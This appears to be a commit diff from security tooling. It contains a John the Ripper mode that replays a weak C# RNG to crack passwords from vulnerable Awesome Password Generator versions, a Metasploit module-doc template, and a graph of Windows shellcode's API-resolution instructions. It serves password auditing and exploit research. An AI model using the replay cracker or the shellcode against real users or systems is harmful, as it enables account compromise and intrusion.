rand_seed = rand_seed * 1103515245 + 12345;
rand_result <<= 10;
rand_result ^= (rand_seed >> 16) & 1023;
if (charset[rand_result % charset_length] != word[i++])
break;
}
if (++msec > 999) {
endTime--;
msec = 1;
}
}
}
/* Awesome Password Generator RNG replay
* Written by Michael Samuel <mik@miknet.net>
* Public Domain.
*
* This takes advantage of a subtle bug, where a crypto RNG is used to
* seed the C# System.Random() class, which takes a 32-bit input, but
* converts negative numbers into non-negative numbers, resulting in
* only 31 bits of security.
*
* This only implements "easy to type" being *unticked*, and numbers,
* lowers, uppers and symbols being ticked, in random password mode.
* Changing the password length is easy, anything else is left as an
* exercise to the reader.
*
* Running Awesome Password Generator (1.3.2 or lower) in Mono is still
* vulnerable, but uses a different RNG, so this mode isn't compatible.
*/
/* Awesome Password Generator 1.3.2 does a two-pass run, selecting which
* charset each position will have, then picking the character. This
* leads to heavy bias, and is fixed in 1.4.0 (along with many other
* fixes). If you have been using Awesome Password Generator, you should
* upgrade immediately and change your passwords.
*/
[List.External:AwesomePasswordGenerator]
int numbers[10];
int lowers[26];
int uppers[26];
int symbols[32];
/* Since we don't have a double datatype, I simply pre-calculated the
* transition numbers calculating the scale formula:
* (double)randNum * 4.656612873077393e-10 * {4/10/26/32}
*/
int boundaries_charclass[4];
int boundaries_numbers[10];
int boundaries_letters[26];
int boundaries_symbols[32];
/* This is the bug we're exploiting - the seed for the RNG is 32 bits
* from the crypto rng. The non-crypto RNG converts negative numbers
* into non-negative numbers, so there's only 2^31 possible seeds.
*/
int seed;
int password_length;
void init()
{
password_length = 16; /* Change this to match config */
int c, i;
c = '0'; i = 0; while (c <= '9') numbers[i++] = c++;
c = 'a'; i = 0; while (c <= 'z') lowers[i++] = c++;
c = 'A'; i = 0; while (c <= 'Z') uppers[i++] = c++;
/* Symbols */
i = 0;
symbols[i++] = '!'; symbols[i++] = '@'; symbols[i++] = '#'; symbols[i++] = '$';
symbols[i++] = '%'; symbols[i++] = '^'; symbols[i++] = '&'; symbols[i++] = '*';
symbols[i++] = '('; symbols[i++] = ')'; symbols[i++] = '~'; symbols[i++] = '-';
symbols[i++] = '_'; symbols[i++] = '='; symbols[i++] = '+'; symbols[i++] = '\\';
symbols[i++] = '|'; symbols[i++] = '/'; symbols[i++] = '['; symbols[i++] = ']';
symbols[i++] = '{'; symbols[i++] = '}'; symbols[i++] = ';'; symbols[i++] = ':';
symbols[i++] = '`'; symbols[i++] = '\''; symbols[i++] = '"'; symbols[i++] = ',';
symbols[i++] = '.'; symbols[i++] = '<'; symbols[i++] = '>'; symbols[i++] = '?';
i = 0;
boundaries_charclass[i++] = 536870912; boundaries_charclass[i++] = 1073741824;
boundaries_charclass[i++] = 1610612736; boundaries_charclass[i++] = 2147483647;
i = 0;
boundaries_numbers[i++] = 214748365; boundaries_numbers[i++] = 429496730;
boundaries_numbers[i++] = 644245095; boundaries_numbers[i++] = 858993460;
boundaries_numbers[i++] = 1073741824; boundaries_numbers[i++] = 1288490189;
boundaries_numbers[i++] = 1503238554; boundaries_numbers[i++] = 1717986919;
boundaries_numbers[i++] = 1932735284; boundaries_numbers[i++] = 2147483647;
i = 0;
boundaries_letters[i++] = 82595525; boundaries_letters[i++] = 165191050;
boundaries_letters[i++] = 247786575; boundaries_letters[i++] = 330382100;
boundaries_letters[i++] = 412977625; boundaries_letters[i++] = 495573150;
boundaries_letters[i++] = 578168675; boundaries_letters[i++] = 660764200;
boundaries_letters[i++] = 743359725; boundaries_letters[i++] = 825955250;
boundaries_letters[i++] = 908550775; boundaries_letters[i++] = 991146300;
boundaries_letters[i++] = 1073741824; boundaries_letters[i++] = 1156337349;
boundaries_letters[i++] = 1238932874; boundaries_letters[i++] = 1321528399;
boundaries_letters[i++] = 1404123924; boundaries_letters[i++] = 1486719449;
boundaries_letters[i++] = 1569314974; boundaries_letters[i++] = 1651910499;
boundaries_letters[i++] = 1734506024; boundaries_letters[i++] = 1817101549;
boundaries_letters[i++] = 1899697074; boundaries_letters[i++] = 1982292599;
boundaries_letters[i++] = 2064888124; boundaries_letters[i++] = 2147483647;
i = 0;
boundaries_symbols[i++] = 67108864; boundaries_symbols[i++] = 134217728;
boundaries_symbols[i++] = 201326592; boundaries_symbols[i++] = 268435456;
boundaries_symbols[i++] = 335544320; boundaries_symbols[i++] = 402653184;
boundaries_symbols[i++] = 469762048; boundaries_symbols[i++] = 536870912;
boundaries_symbols[i++] = 603979776; boundaries_symbols[i++] = 671088640;
boundaries_symbols[i++] = 738197504; boundaries_symbols[i++] = 805306368;
boundaries_symbols[i++] = 872415232; boundaries_symbols[i++] = 939524096;
boundaries_symbols[i++] = 1006632960; boundaries_symbols[i++] = 1073741824;
boundaries_symbols[i++] = 1140850688; boundaries_symbols[i++] = 1207959552;
boundaries_symbols[i++] = 1275068416; boundaries_symbols[i++] = 1342177280;
boundaries_symbols[i++] = 1409286144; boundaries_symbols[i++] = 1476395008;
boundaries_symbols[i++] = 1543503872; boundaries_symbols[i++] = 1610612736;
boundaries_symbols[i++] = 1677721600; boundaries_symbols[i++] = 1744830464;
boundaries_symbols[i++] = 1811939328; boundaries_symbols[i++] = 1879048192;
boundaries_symbols[i++] = 1946157056; boundaries_symbols[i++] = 2013265920;
boundaries_symbols[i++] = 2080374784; boundaries_symbols[i++] = 2147483647;
seed = 0;
}
void generate()
{
int i, j, s, next, nextp, val, bucket, randnum, used_charsets;
int seedarray[56];
/* BEGIN System.Random(seed) */
if(seed < 0) {
/* Only bother with non-negative integers */
word = 0;
return;
}
s = 161803398 - seed++;
seedarray[55] = s;
i = val = 1;
while(i < 55) {
bucket = 21 * i % 55;
seedarray[bucket] = val;
val = s - val;
if(val < 0) val += 2147483647;
s = seedarray[bucket];
i++;
}
i = 1;
while(i < 5) {
j = 1;
while(j < 56) {
seedarray[j] -= seedarray[1 + (j + 30) % 55];
if(seedarray[j] < 0) seedarray[j] += 2147483647;
j++;
}
i++;
}
next = 0;
nextp = 21;
/* END System.Random(seed) */
used_charsets = 0;
while(used_charsets != 15) {
i = 0;
while(i < password_length) {
/* BEGIN Random.Sample() */
if (++next >= 56) next = 1;
if (++nextp >= 56) nextp = 1;
randnum = seedarray[next] - seedarray[nextp];
if (randnum == 2147483647) randnum--;
if (randnum < 0) randnum += 2147483647;
seedarray[next] = randnum;
/* END Random.Sample() */
j = 0;
while(boundaries_charclass[j] < randnum) j++;
word[i] = j; /* Temporarily store in word[] */
used_charsets |= (1 << j);
i++;
}
}
i = 0;
while(i < password_length) {
/* BEGIN Random.Sample() */
if (++next >= 56) next = 1;
if (++nextp >= 56) nextp = 1;
randnum = seedarray[next] - seedarray[nextp];
if (randnum == 2147483647) randnum--;
if (randnum < 0) randnum += 2147483647;
seedarray[next] = randnum;
/* END Random.Sample() */
j = 0;
if(word[i] == 0) {
while(boundaries_letters[j] < randnum) j++;
word[i++] = lowers[j];
} else if (word[i] == 1) {
while(boundaries_letters[j] < randnum) j++;
word[i++] = uppers[j];
} else if (word[i] == 2) {
while(boundaries_numbers[j] < randnum) j++;
word[i++] = numbers[j];
} else { /* if (word[i] == 3) */
while(boundaries_symbols[j] < randnum) j++;
word[i++] = symbols[j];
}
}
word[i] = 0;
}
void restore()
{
int i, j, s, next, nextp, val, bucket, randnum, used_charsets;
int seedarray[56];
int candidate[32]; /* This needs to be at-least as big as password-length */
seed = 0;
while(seed > 0) {
/* BEGIN System.Random(seed) */
s = 161803398 - seed++;
seedarray[55] = s;
i = val = 1;
while(i < 55) {
bucket = 21 * i % 55;
seedarray[bucket] = val;
val = s - val;
if(val < 0) val += 2147483647;
s = seedarray[bucket];
i++;
}
i = 1;
while(i < 5) {
j = 1;
while(j < 56) {
seedarray[j] -= seedarray[1 + (j + 30) % 55];
if(seedarray[j] < 0) seedarray[j] += 2147483647;
j++;
}
i++;
}
next = 0;
nextp = 21;
/* END System.Random(seed) */
used_charsets = 0;
while(used_charsets != 15) {
i = 0;
while(i < password_length) {
/* BEGIN Random.Sample() */
if (++next >= 56) next = 1;
if (++nextp >= 56) nextp = 1;
randnum = seedarray[next] - seedarray[nextp];
if (randnum == 2147483647) randnum--;
if (randnum < 0) randnum += 2147483647;
seedarray[next] = randnum;
/* END Random.Sample() */
j = 0;
while(boundaries_charclass[j] < randnum) j++;
candidate[i] = j;
used_charsets |= (1 << j);
i++;
}
}
i = 0;
while(i < password_length) {
/* BEGIN Random.Sample() */
if (++next >= 56) next = 1;
if (++nextp >= 56) nextp = 1;
randnum = seedarray[next] - seedarray[nextp];
if (randnum == 2147483647) randnum--;
if (randnum < 0) randnum += 2147483647;
seedarray[next] = randnum;
/* END Random.Sample() */
j = 0;
if(candidate[i] == 0) {
while(boundaries_letters[j] < randnum) j++;
if(lowers[j] != word[i++]) break;
} else if (candidate[i] == 1) {
while(boundaries_letters[j] < randnum) j++;
if(uppers[j] != word[i++]) break;
} else if (candidate[i] == 2) {
while(boundaries_numbers[j] < randnum) j++;
if(numbers[j] != word[i++]) break;
} else { /* if (word[i] == 3) */
while(boundaries_symbols[j] < randnum) j++;
if(symbols[j] != word[i++]) break;
}
}
if(i == password_length) return;
}
}
# Append the Luhn algorithm digit to arbitrary all-digit strings. Optimized
# for speed, not for size nor simplicity. The primary optimization trick is to
# compute the length and four sums in parallel (in two SIMD'ish variables).
# Then whether the length is even or odd determines which two of the four sums
# are actually used. Checks for non-digits and for NUL are packed into the
# SIMD'ish bitmasks as well.
[List.External:AppendLuhn]
int map1[0x100], map2[0x1fff];
void init()
{
int i;
map1[0] = ~0x7fffffff;
i = 1;
while (i < 0x100)
map1[i++] = ~0x7effffff;
i = -1;
while (++i < 10)
map1['0' + i] = i + ((i * 2 % 10 + i / 5) << 12);
i = -1;
while (++i < 0x1fff) {
if (i % 10)
map2[i] = '9' + 1 - i % 10;
else
map2[i] = '0';
}
}
void filter()
{
int i, o, e;
i = o = e = 0;
while ((o += map1[word[i++]]) >= 0) {
if ((e += map1[word[i++]]) >= 0)
continue;
if (e & 0x01000000)
return; // Not all-digit, leave unmodified
word[i--] = 0;
word[i] = map2[(e & 0xfff) + (o >> 12)];
return;
}
if (o & 0x01000000)
return; // Not all-digit, leave unmodified
word[i--] = 0;
word[i] = map2[(o & 0xfff) + (e >> 12)];
}
# Simple password policy matching: require at least one digit.
[List.External:AtLeast1-Simple]
void filter()
@@ -3398,55 +3527,6 @@ void filter()
word = 0; // Does not conform to policy
}
# Append the Luhn algorithm digit to arbitrary all-digit strings. Optimized
# for speed, not for size nor simplicity. The primary optimization trick is to
# compute the length and four sums in parallel (in two SIMD'ish variables).
# Then whether the length is even or odd determines which two of the four sums
# are actually used. Checks for non-digits and for NUL are packed into the
# SIMD'ish bitmasks as well.
[List.External:AppendLuhn]
int map1[0x100], map2[0x1fff];
void init()
{
int i;
map1[0] = ~0x7fffffff;
i = 1;
while (i < 0x100)
map1[i++] = ~0x7effffff;
i = -1;
while (++i < 10)
map1['0' + i] = i + ((i * 2 % 10 + i / 5) << 12);
i = -1;
while (++i < 0x1fff) {
if (i % 10)
map2[i] = '9' + 1 - i % 10;
else
map2[i] = '0';
}
}
void filter()
{
int i, o, e;
i = o = e = 0;
while ((o += map1[word[i++]]) >= 0) {
if ((e += map1[word[i++]]) >= 0)
continue;
if (e & 0x01000000)
return; // Not all-digit, leave unmodified
word[i--] = 0;
word[i] = map2[(e & 0xfff) + (o >> 12)];
return;
}
if (o & 0x01000000)
return; // Not all-digit, leave unmodified
word[i--] = 0;
word[i] = map2[(o & 0xfff) + (e >> 12)];
}
# Trivial Rotate function, which rotates letters in a word
# by a given number of places (like 13 in case of ROT13).
# Words which don't contain any letters (and thus wouldn't be changed
@@ -3892,7 +3972,8 @@ void next()
.include '$JOHN/john-local.conf'
# include john-local.conf in local dir, it can override john.conf, john-local.conf (or any other conf file loaded)
.include './john-local.conf'
# This is disabled by default since it's a security risk in case JtR is ever run with untrusted current directory
#.include './john-local.conf'
# End of john.conf file.
# Keep this comment, and blank line above it, to make sure a john-local.conf
+99 -10
View File
@@ -15,20 +15,103 @@
<% end %>
## Module Ranking
<%# https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking %>
<%= normalize_rank(items[:mod_rank]) %>
**<%= items[:mod_rank_name] %>**
## Side Effects
<% if items[:mod_rank_name] == "Excellent" %>
> The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical
> memory corruption exploits should be given this ranking unless there are extraordinary circumstances.
<%= normalize_side_effects(items[:mod_side_effects]) %>
<% elsif items[:mod_rank_name] == "Great" %>
> The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return
> address AFTER a version check.
## Reliability
<% elsif items[:mod_rank_name] == "Good" %>
> The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a
> desktop app, 2012 for server, etc).
<%= normalize_reliability(items[:mod_reliability]) %>
<% elsif items[:mod_rank_name] == "Normal" %>
> The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect.
## Stability
<% elsif items[:mod_rank_name] == "Average" %>
> The exploit is generally unreliable or difficult to exploit.
<%= normalize_stability(items[:mod_stability]) %>
<% elsif items[:mod_rank_name] == "Low" %>
> The exploit is nearly impossible to exploit (or under 50% success rate) for common platforms.
<% elsif items[:mod_rank_name] == "Manual" %>
> The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has
> no use unless specifically configured by the user (e.g.: [exploit/windows/smb/psexec][1]).
<% end %>
## Module Traits
<%# https://github.com/rapid7/metasploit-framework/wiki/Definition-of-Module-Reliability,-Side-Effects,-and-Stability %>
<% unless items[:mod_side_effects].empty? %>
### Side Effects
<% items[:mod_side_effects].each do |side_effect| %>
<% if side_effect == "artifacts-on-disk" %>
<% description = "Modules leaves a payload or a dropper on the target machine." %>
<% elsif side_effect == "config-changes" %>
<% description = "Module modifies some configuration setting on the target machine." %>
<% elsif side_effect == "ioc-in-logs" %>
<% description = "Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log)." %>
<% elsif side_effect == "account-lockouts" %>
<% description = "Module may cause account lockouts (likely due to brute-forcing)." %>
<% elsif side_effect == "screen-effects" %>
<% description = "Module may show something on the screen (Example: a window pops up)." %>
<% elsif side_effect == "audio-effects" %>
<% description = "Module may cause a noise (Examples: audio output from the speakers or hardware beeps)." %>
<% elsif side_effect == "physical-effects" %>
<% description = "Module may produce physical effects (Examples: the device makes movement or flashes LEDs)." %>
<% end %>
* **<%= side_effect %>:** <%= description %>
<% end %>
<% end %>
<% unless items[:mod_reliability].empty? %>
### Reliability
<% items[:mod_reliability].each do |reliability| %>
<% if reliability == "first-attempt-fail" %>
<% description = "The module tends to fail to get a session on the first attempt." %>
<% elsif reliability == "repeatable-session" %>
<% description = "The module is expected to get a shell every time it runs." %>
<% elsif reliability == "unreliable-session" %>
<% description = "The module isn't expected to get a shell reliably (such as only once)." %>
<% end %>
* **<%= reliability %>:** <%= description %>
<% end %>
<% end %>
<% unless items[:mod_stability].empty? %>
### Stability
<% items[:mod_stability].each do |stability| %>
<% if stability == "crash-safe" %>
<% description = "Module should not crash the service." %>
<% elsif stability == "crash-service-restarts" %>
<% description = "Module may crash the service, but the service restarts." %>
<% elsif stability == "crash-service-down" %>
<% description = "Module may crash the service, and the service remains down." %>
<% elsif stability == "crash-os-restarts" %>
<% description = "Module may crash the OS, but the OS restarts." %>
<% elsif stability == "crash-os-down" %>
<% description = "Module may crash the OS, and the OS remains down." %>
<% elsif stability == "service-resource-loss" %>
<% description = "Module may cause a resource (such as a file or data in a database) to be unavailable for the service." %>
<% elsif stability == "os-resource-loss" %>
<% description = "Modules may cause a resource (such as a file) to be unavailable for the OS." %>
<% end %>
* **<%= stability %>:** <%= description %>
<% end %>
<% end %>
## Related Pull Requests
@@ -49,12 +132,18 @@
## Required Options
<% if normalize_options(items[:mod_options]).empty? %>
No options required.
<% if items[:mod_options].empty? %>
No options are required.
<% else %>
<%= normalize_options(items[:mod_options]) %>
<% items[:mod_options].each_pair do |name, props| %>
<% if props.required && props.default.nil? %>
* **<%= name %>:** <%= props.desc %>
<% end %>
<% end %>
<% end %>
## Basic Usage
<%= normalize_demo_output(items[:mod_demo]) %>
[1]: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
Binary file not shown.
File diff suppressed because one or more lines are too long
+664
View File
@@ -0,0 +1,664 @@
<?xml version="1.0" ?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns" xmlns:xsi="http://graphml.graphdrawing.org/xmlns" xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<key id="address" for="all" attr.name="address" attr.type="long"/>
<key id="type" for="all" attr.name="type" attr.type="string"/>
<key id="instruction.source" for="node" attr.name="instruction.source" attr.type="string"/>
<key id="instruction.hex" for="node" attr.name="instruction.hex" attr.type="string"/>
<graph edgedefault="directed">
<node id="block.0x1000">
<data key="address">0x1000</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1000</data>
<data key="type">block</data>
<node id="block.0x1000:instruction.0x1000">
<data key="address">0x1000</data>
<data key="type">instruction</data>
<data key="instruction.hex">4151</data>
<data key="instruction.source">push r9</data>
</node>
<node id="block.0x1000:instruction.0x1002">
<data key="address">0x1002</data>
<data key="type">instruction</data>
<data key="instruction.hex">4150</data>
<data key="instruction.source">push r8</data>
</node>
<node id="block.0x1000:instruction.0x1004">
<data key="address">0x1004</data>
<data key="type">instruction</data>
<data key="instruction.hex">52</data>
<data key="instruction.source">push rdx</data>
</node>
<node id="block.0x1000:instruction.0x1005">
<data key="address">0x1005</data>
<data key="type">instruction</data>
<data key="instruction.hex">51</data>
<data key="instruction.source">push rcx</data>
</node>
<node id="block.0x1000:instruction.0x1006">
<data key="address">0x1006</data>
<data key="type">instruction</data>
<data key="instruction.hex">56</data>
<data key="instruction.source">push rsi</data>
</node>
<node id="block.0x1000:instruction.0x1007">
<data key="address">0x1007</data>
<data key="type">instruction</data>
<data key="instruction.hex">4831d2</data>
<data key="instruction.source">xor rdx, rdx</data>
</node>
<node id="block.0x1000:instruction.0x100a">
<data key="address">0x100a</data>
<data key="type">instruction</data>
<data key="instruction.hex">65488b5260</data>
<data key="instruction.source">mov rdx, qword ptr gs:[rdx + 0x60]</data>
</node>
<node id="block.0x1000:instruction.0x100f">
<data key="address">0x100f</data>
<data key="type">instruction</data>
<data key="instruction.hex">488b5218</data>
<data key="instruction.source">mov rdx, qword ptr [rdx + 0x18]</data>
</node>
<node id="block.0x1000:instruction.0x1013">
<data key="address">0x1013</data>
<data key="type">instruction</data>
<data key="instruction.hex">488b5220</data>
<data key="instruction.source">mov rdx, qword ptr [rdx + 0x20]</data>
</node>
<edge source="block.0x1000:instruction.0x1000" target="block.0x1000:instruction.0x1002"/>
<edge source="block.0x1000:instruction.0x1002" target="block.0x1000:instruction.0x1004"/>
<edge source="block.0x1000:instruction.0x1004" target="block.0x1000:instruction.0x1007"/>
<edge source="block.0x1000:instruction.0x1004" target="block.0x1000:instruction.0x1005"/>
<edge source="block.0x1000:instruction.0x1005" target="block.0x1000:instruction.0x1006"/>
<edge source="block.0x1000:instruction.0x1007" target="block.0x1000:instruction.0x100a"/>
<edge source="block.0x1000:instruction.0x100a" target="block.0x1000:instruction.0x100f"/>
<edge source="block.0x1000:instruction.0x100f" target="block.0x1000:instruction.0x1013"/>
</graph>
</node>
<node id="block.0x1017">
<data key="address">0x1017</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1017</data>
<data key="type">block</data>
<node id="block.0x1017:instruction.0x1017">
<data key="address">0x1017</data>
<data key="type">instruction</data>
<data key="instruction.hex">488b7250</data>
<data key="instruction.source">mov rsi, qword ptr [rdx + 0x50]</data>
</node>
<node id="block.0x1017:instruction.0x101b">
<data key="address">0x101b</data>
<data key="type">instruction</data>
<data key="instruction.hex">480fb74a4a</data>
<data key="instruction.source">movzx rcx, word ptr [rdx + 0x4a]</data>
</node>
<node id="block.0x1017:instruction.0x1020">
<data key="address">0x1020</data>
<data key="type">instruction</data>
<data key="instruction.hex">4d31c9</data>
<data key="instruction.source">xor r9, r9</data>
</node>
</graph>
</node>
<node id="block.0x1023">
<data key="address">0x1023</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1023</data>
<data key="type">block</data>
<node id="block.0x1023:instruction.0x1023">
<data key="address">0x1023</data>
<data key="type">instruction</data>
<data key="instruction.hex">4831c0</data>
<data key="instruction.source">xor rax, rax</data>
</node>
<node id="block.0x1023:instruction.0x1026">
<data key="address">0x1026</data>
<data key="type">instruction</data>
<data key="instruction.hex">ac</data>
<data key="instruction.source">lodsb al, byte ptr [rsi]</data>
</node>
<node id="block.0x1023:instruction.0x1027">
<data key="address">0x1027</data>
<data key="type">instruction</data>
<data key="instruction.hex">3c61</data>
<data key="instruction.source">cmp al, 0x61</data>
</node>
<node id="block.0x1023:instruction.0x1029">
<data key="address">0x1029</data>
<data key="type">instruction</data>
<data key="instruction.hex">7c02</data>
<data key="instruction.source">jl 0x102d</data>
</node>
<edge source="block.0x1023:instruction.0x1023" target="block.0x1023:instruction.0x1026"/>
<edge source="block.0x1023:instruction.0x1026" target="block.0x1023:instruction.0x1027"/>
<edge source="block.0x1023:instruction.0x1027" target="block.0x1023:instruction.0x1029"/>
</graph>
</node>
<node id="block.0x102b">
<data key="address">0x102b</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x102b</data>
<data key="type">block</data>
<node id="block.0x102b:instruction.0x102b">
<data key="address">0x102b</data>
<data key="type">instruction</data>
<data key="instruction.hex">2c20</data>
<data key="instruction.source">sub al, 0x20</data>
</node>
</graph>
</node>
<node id="block.0x102d">
<data key="address">0x102d</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x102d</data>
<data key="type">block</data>
<node id="block.0x102d:instruction.0x102d">
<data key="address">0x102d</data>
<data key="type">instruction</data>
<data key="instruction.hex">41c1c90d</data>
<data key="instruction.source">ror r9d, 0xd</data>
</node>
<node id="block.0x102d:instruction.0x1031">
<data key="address">0x1031</data>
<data key="type">instruction</data>
<data key="instruction.hex">4101c1</data>
<data key="instruction.source">add r9d, eax</data>
</node>
<node id="block.0x102d:instruction.0x1034">
<data key="address">0x1034</data>
<data key="type">instruction</data>
<data key="instruction.hex">e2ed</data>
<data key="instruction.source">loop 0x1023</data>
</node>
<edge source="block.0x102d:instruction.0x102d" target="block.0x102d:instruction.0x1031"/>
<edge source="block.0x102d:instruction.0x1031" target="block.0x102d:instruction.0x1034"/>
</graph>
</node>
<node id="block.0x1036">
<data key="address">0x1036</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1036</data>
<data key="type">block</data>
<node id="block.0x1036:instruction.0x1036">
<data key="address">0x1036</data>
<data key="type">instruction</data>
<data key="instruction.hex">52</data>
<data key="instruction.source">push rdx</data>
</node>
<node id="block.0x1036:instruction.0x1037">
<data key="address">0x1037</data>
<data key="type">instruction</data>
<data key="instruction.hex">4151</data>
<data key="instruction.source">push r9</data>
</node>
<node id="block.0x1036:instruction.0x1039">
<data key="address">0x1039</data>
<data key="type">instruction</data>
<data key="instruction.hex">488b5220</data>
<data key="instruction.source">mov rdx, qword ptr [rdx + 0x20]</data>
</node>
<node id="block.0x1036:instruction.0x103d">
<data key="address">0x103d</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b423c</data>
<data key="instruction.source">mov eax, dword ptr [rdx + 0x3c]</data>
</node>
<node id="block.0x1036:instruction.0x1040">
<data key="address">0x1040</data>
<data key="type">instruction</data>
<data key="instruction.hex">4801d0</data>
<data key="instruction.source">add rax, rdx</data>
</node>
<node id="block.0x1036:instruction.0x1043">
<data key="address">0x1043</data>
<data key="type">instruction</data>
<data key="instruction.hex">668178180b02</data>
<data key="instruction.source">cmp word ptr [rax + 0x18], 0x20b</data>
</node>
<node id="block.0x1036:instruction.0x1049">
<data key="address">0x1049</data>
<data key="type">instruction</data>
<data key="instruction.hex">7572</data>
<data key="instruction.source">jne 0x10bd</data>
</node>
<edge source="block.0x1036:instruction.0x1036" target="block.0x1036:instruction.0x1039"/>
<edge source="block.0x1036:instruction.0x1036" target="block.0x1036:instruction.0x1037"/>
<edge source="block.0x1036:instruction.0x1037" target="block.0x1036:instruction.0x1049"/>
<edge source="block.0x1036:instruction.0x1039" target="block.0x1036:instruction.0x103d"/>
<edge source="block.0x1036:instruction.0x1039" target="block.0x1036:instruction.0x1040"/>
<edge source="block.0x1036:instruction.0x103d" target="block.0x1036:instruction.0x1040"/>
<edge source="block.0x1036:instruction.0x1040" target="block.0x1036:instruction.0x1043"/>
<edge source="block.0x1036:instruction.0x1043" target="block.0x1036:instruction.0x1049"/>
</graph>
</node>
<node id="block.0x104b">
<data key="address">0x104b</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x104b</data>
<data key="type">block</data>
<node id="block.0x104b:instruction.0x104b">
<data key="address">0x104b</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b8088000000</data>
<data key="instruction.source">mov eax, dword ptr [rax + 0x88]</data>
</node>
<node id="block.0x104b:instruction.0x1051">
<data key="address">0x1051</data>
<data key="type">instruction</data>
<data key="instruction.hex">4885c0</data>
<data key="instruction.source">test rax, rax</data>
</node>
<node id="block.0x104b:instruction.0x1054">
<data key="address">0x1054</data>
<data key="type">instruction</data>
<data key="instruction.hex">7467</data>
<data key="instruction.source">je 0x10bd</data>
</node>
<edge source="block.0x104b:instruction.0x104b" target="block.0x104b:instruction.0x1051"/>
<edge source="block.0x104b:instruction.0x1051" target="block.0x104b:instruction.0x1054"/>
</graph>
</node>
<node id="block.0x1056">
<data key="address">0x1056</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1056</data>
<data key="type">block</data>
<node id="block.0x1056:instruction.0x1056">
<data key="address">0x1056</data>
<data key="type">instruction</data>
<data key="instruction.hex">4801d0</data>
<data key="instruction.source">add rax, rdx</data>
</node>
<node id="block.0x1056:instruction.0x1059">
<data key="address">0x1059</data>
<data key="type">instruction</data>
<data key="instruction.hex">50</data>
<data key="instruction.source">push rax</data>
</node>
<node id="block.0x1056:instruction.0x105a">
<data key="address">0x105a</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b4818</data>
<data key="instruction.source">mov ecx, dword ptr [rax + 0x18]</data>
</node>
<node id="block.0x1056:instruction.0x105d">
<data key="address">0x105d</data>
<data key="type">instruction</data>
<data key="instruction.hex">448b4020</data>
<data key="instruction.source">mov r8d, dword ptr [rax + 0x20]</data>
</node>
<node id="block.0x1056:instruction.0x1061">
<data key="address">0x1061</data>
<data key="type">instruction</data>
<data key="instruction.hex">4901d0</data>
<data key="instruction.source">add r8, rdx</data>
</node>
<edge source="block.0x1056:instruction.0x1056" target="block.0x1056:instruction.0x1059"/>
<edge source="block.0x1056:instruction.0x1056" target="block.0x1056:instruction.0x105a"/>
<edge source="block.0x1056:instruction.0x1056" target="block.0x1056:instruction.0x105d"/>
<edge source="block.0x1056:instruction.0x105d" target="block.0x1056:instruction.0x1061"/>
</graph>
</node>
<node id="block.0x1064">
<data key="address">0x1064</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1064</data>
<data key="type">block</data>
<node id="block.0x1064:instruction.0x1064">
<data key="address">0x1064</data>
<data key="type">instruction</data>
<data key="instruction.hex">e356</data>
<data key="instruction.source">jrcxz 0x10bc</data>
</node>
</graph>
</node>
<node id="block.0x1066">
<data key="address">0x1066</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1066</data>
<data key="type">block</data>
<node id="block.0x1066:instruction.0x1066">
<data key="address">0x1066</data>
<data key="type">instruction</data>
<data key="instruction.hex">48ffc9</data>
<data key="instruction.source">dec rcx</data>
</node>
<node id="block.0x1066:instruction.0x1069">
<data key="address">0x1069</data>
<data key="type">instruction</data>
<data key="instruction.hex">418b3488</data>
<data key="instruction.source">mov esi, dword ptr [r8 + rcx*4]</data>
</node>
<node id="block.0x1066:instruction.0x106d">
<data key="address">0x106d</data>
<data key="type">instruction</data>
<data key="instruction.hex">4801d6</data>
<data key="instruction.source">add rsi, rdx</data>
</node>
<node id="block.0x1066:instruction.0x1070">
<data key="address">0x1070</data>
<data key="type">instruction</data>
<data key="instruction.hex">4d31c9</data>
<data key="instruction.source">xor r9, r9</data>
</node>
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x106d"/>
<edge source="block.0x1066:instruction.0x1066" target="block.0x1066:instruction.0x1069"/>
<edge source="block.0x1066:instruction.0x1069" target="block.0x1066:instruction.0x106d"/>
</graph>
</node>
<node id="block.0x1073">
<data key="address">0x1073</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1073</data>
<data key="type">block</data>
<node id="block.0x1073:instruction.0x1073">
<data key="address">0x1073</data>
<data key="type">instruction</data>
<data key="instruction.hex">4831c0</data>
<data key="instruction.source">xor rax, rax</data>
</node>
<node id="block.0x1073:instruction.0x1076">
<data key="address">0x1076</data>
<data key="type">instruction</data>
<data key="instruction.hex">ac</data>
<data key="instruction.source">lodsb al, byte ptr [rsi]</data>
</node>
<node id="block.0x1073:instruction.0x1077">
<data key="address">0x1077</data>
<data key="type">instruction</data>
<data key="instruction.hex">41c1c90d</data>
<data key="instruction.source">ror r9d, 0xd</data>
</node>
<node id="block.0x1073:instruction.0x107b">
<data key="address">0x107b</data>
<data key="type">instruction</data>
<data key="instruction.hex">4101c1</data>
<data key="instruction.source">add r9d, eax</data>
</node>
<node id="block.0x1073:instruction.0x107e">
<data key="address">0x107e</data>
<data key="type">instruction</data>
<data key="instruction.hex">38e0</data>
<data key="instruction.source">cmp al, ah</data>
</node>
